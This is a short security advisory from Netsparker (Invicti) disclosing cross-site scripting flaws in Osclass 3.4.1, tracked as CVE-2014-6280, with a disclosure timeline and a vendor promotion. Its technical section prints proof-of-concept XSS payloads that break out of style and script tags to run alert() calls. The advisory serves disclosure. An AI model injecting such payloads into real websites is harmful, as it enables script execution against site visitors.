Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in Osclass
Affected Software : Osclass
Affected Versions: 3.4.1 and possibly below
Vendor Homepage :
Vulnerability Type : Cross-site Scripting
Severity : Critical
CVE-ID: CVE-2014-6280
Invicti Advisory Reference : NS-14-030

Several cross-site scripting vulnerabilities where discovered in Osclass, an open source project that allows you to create a classifieds sites.

Technical Details
Proof of Concept URLs for XSS in OsClass:'"--></style></scRipt><scRipt>alert(0x001394)</scRipt>'"--></style></scRipt><scRipt>alert(0x001364)</scRipt>'"--></style></scRipt><scRipt>alert(0x001396)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
03/09/2014 - First Contact
03/09/2014 - Vulnerability fixed:

Credits & Authors
These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Netsparker
Netsparker can find and report security issues and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications regardless of the platform and the technology they are built on. Invicti’s unique detection and exploitation techniques allows it to be dead accurate in reporting hence it's the first and the only False Positive Free web application security scanner.